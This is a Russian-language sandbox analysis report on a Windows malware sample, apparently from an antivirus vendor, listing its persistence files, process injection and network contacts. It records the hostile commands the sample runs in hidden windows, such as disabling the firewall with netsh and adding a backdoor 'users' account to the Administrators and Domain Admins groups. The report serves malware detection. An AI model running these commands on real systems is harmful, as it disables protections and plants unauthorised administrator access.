Техническая информация
Для обеспечения автозапуска и распространения
Устанавливает следующие настройки сервисов
- [HKLM\System\CurrentControlSet\Services\IKEEXT] 'Start' = '00000002'
Вредоносные функции
Запускает на исполнение
- '%WINDIR%\syswow64\netsh.exe' firewall set opmode disable
Внедряет код в
следующие системные процессы:
- %WINDIR%\syswow64\svchost.exe
Завершает или пытается завершить
следующие системные процессы:
- %WINDIR%\syswow64\net.exe
Изменения в файловой системе
Создает следующие файлы
- %WINDIR%\syswow64\config\systemprofile\appdata\roaming\microsoft\windows\start menu\desktop.ini
- %WINDIR%\syswow64\config\systemprofile\appdata\roaming\microsoft\windows\start menu\programs\desktop.ini
- %WINDIR%\syswow64\config\systemprofile\appdata\roaming\microsoft\windows\start menu\programs\startup\desktop.ini
- %WINDIR%\syswow64\config\systemprofile\appdata\roaming\microsoft\windows\network shortcuts\common files\mlclnrsavsmxv\mlclnrsavsmxv.exe
- %WINDIR%\syswow64\config\systemprofile\appdata\roaming\microsoft\windows\network shortcuts\common files\mlclnrsavsmxv\mlclnrsavsmxv.bmp
- %WINDIR%\syswow64\config\systemprofile\appdata\roaming\microsoft\windows\start menu\programs\startup\mlclnrsavsmxv.exe
- %ALLUSERSPROFILE%\cdburn.exe
- %WINDIR%\syswow64\config\systemprofile\appdata\roaming\microsoft\windows\cookies\system@google[1].txt
- %WINDIR%\syswow64\config\systemprofile\appdata\roaming\microsoft\windows\cookies\system@google[2].txt
- %WINDIR%\syswow64\config\systemprofile\appdata\roaming\microsoft\windows\network shortcuts\.isp
- %WINDIR%\syswow64\config\systemprofile\appdata\roaming\microsoft\windows\ietldcache\index.dat
Присваивает атрибут 'скрытый' для следующих файлов
- %WINDIR%\syswow64\config\systemprofile\appdata\roaming\microsoft\windows\network shortcuts\common files\mlclnrsavsmxv\mlclnrsavsmxv.exe
Удаляет следующие файлы
- %WINDIR%\syswow64\config\systemprofile\appdata\roaming\microsoft\windows\start menu\programs\startup\mlclnrsavsmxv.exe
- %WINDIR%\syswow64\config\systemprofile\appdata\roaming\microsoft\windows\cookies\system@google[1].txt
- %WINDIR%\syswow64\config\systemprofile\appdata\roaming\microsoft\windows\cookies\system@google[2].txt
Подменяет следующие файлы
- %WINDIR%\syswow64\config\systemprofile\appdata\roaming\microsoft\windows\start menu\programs\startup\mlclnrsavsmxv.exe
- %WINDIR%\syswow64\config\systemprofile\appdata\roaming\microsoft\windows\cookies\system@google[1].txt
Сетевая активность
Подключается к
- 'google.com':80
TCP
Запросы HTTP GET
- http://www.google.com/search?q=#########
- http://www.google.com/sorry/index?co#################################################################################################################################################
UDP
- DNS ASK google.com
- DNS ASK gu####ost.jino.ru
- 'localhost':51293
- 'localhost':50965
Другое
Ищет следующие окна
- ClassName: '' WindowName: 'Win Update 2.10'
- ClassName: '' WindowName: 'Ammyy Admin'
- ClassName: 'RegEdit_RegEdit' WindowName: ''
- ClassName: '' WindowName: ''
- ClassName: '' WindowName: 'Program Managertooltips_class32'
- ClassName: '' WindowName: 'Program Manager'
- ClassName: '' WindowName: 'Program ManagerProgman'
Создает и запускает на исполнение
- '%WINDIR%\syswow64\config\systemprofile\appdata\roaming\microsoft\windows\network shortcuts\common files\mlclnrsavsmxv\mlclnrsavsmxv.exe' nti
- '%WINDIR%\syswow64\regedit.exe' /s %WINDIR%\Mlclnrsavsmxv.reg' (со скрытым окном)
- '%WINDIR%\syswow64\netsh.exe' firewall set opmode disable' (со скрытым окном)
- '%WINDIR%\syswow64\net.exe' user users 0255 /add /expires:never /times:all' (со скрытым окном)
- '%WINDIR%\syswow64\net.exe' localgroup "€В¤В¬ВЁВ¨áâà  â®à ë" users /add' (со скрытым окном)
- '%WINDIR%\syswow64\net.exe' localgroup "Administrators" users /add' (со скрытым окном)
- '%WINDIR%\syswow64\net.exe' group "Domain Admins" users /add' (со скрытым окном)
- '%WINDIR%\syswow64\net.exe' localgroup "ÀäìèГèñòðà òîðû" users /add' (со скрытым окном)
- '%WINDIR%\syswow64\cscript.exe' <SYSTEM32>\SCRegEdit.wsf /cs 0' (со скрытым окном)
Перезапускает анализируемый образец
Запускает на исполнение
- '%WINDIR%\syswow64\regedit.exe' /s %WINDIR%\Mlclnrsavsmxv.reg
- '%WINDIR%\syswow64\svchost.exe'
- '%WINDIR%\syswow64\net.exe' user users 0255 /add /expires:never /times:all
- '%WINDIR%\syswow64\net.exe' localgroup "€В¤В¬ВЁВ¨áâà  â®à ë" users /add
- '%WINDIR%\syswow64\net.exe' localgroup "Administrators" users /add
- '%WINDIR%\syswow64\net.exe' group "Domain Admins" users /add
- '%WINDIR%\syswow64\net.exe' localgroup "ÀäìèГèñòðà òîðû" users /add
- '%WINDIR%\syswow64\cscript.exe' <SYSTEM32>\SCRegEdit.wsf /cs 0
- '%WINDIR%\syswow64\net1.exe' localgroup "Administrators" users /add
- '%WINDIR%\syswow64\net1.exe' user users 0255 /add /expires:never /times:all
